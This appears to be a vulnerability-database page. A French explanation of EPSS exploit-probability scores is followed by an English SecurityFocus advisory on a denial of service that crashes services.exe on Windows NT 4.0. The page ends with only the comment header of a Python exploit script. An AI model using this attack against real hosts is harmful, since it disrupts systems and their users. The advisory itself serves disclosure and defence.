EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/754/info A specially crafted packet can cause a denial of service on an NT 4.0 host, rendering local administration and network communication nearly unusable. This attack will crash the "services" executable, which in turn, disables the ability for the machine to perform actions via named pipes. As a consequence, users will be unable to remotely logon, logoff, manage the registry, create new file share connections, or perform remote administration. Services such as Internet Information Server may also fail to operate as expected. Rebooting the affected machine will resolve the issue, provided it is not attacked again. The problem lies within the manner that srvsvc.dll makes calls to services.exe. Certain MSRPC calls will return NULL values which are not correctly interpreted by services.exe. This, in turn, may lead to a crash of Services.exe. If this denial of service is combined with a number of other exploits, it may be possible to have this attack spawn a Debugger (ie Dr Watson) call on the host, which, if trojaned, may execute malicious code on the target host. #!/usr/bin/env python # # Services.exe DoS # hard work done by: rfp@wiretrip.net # Python hack by: nas@adler.dynodns.net # # This only seems to work on NT.
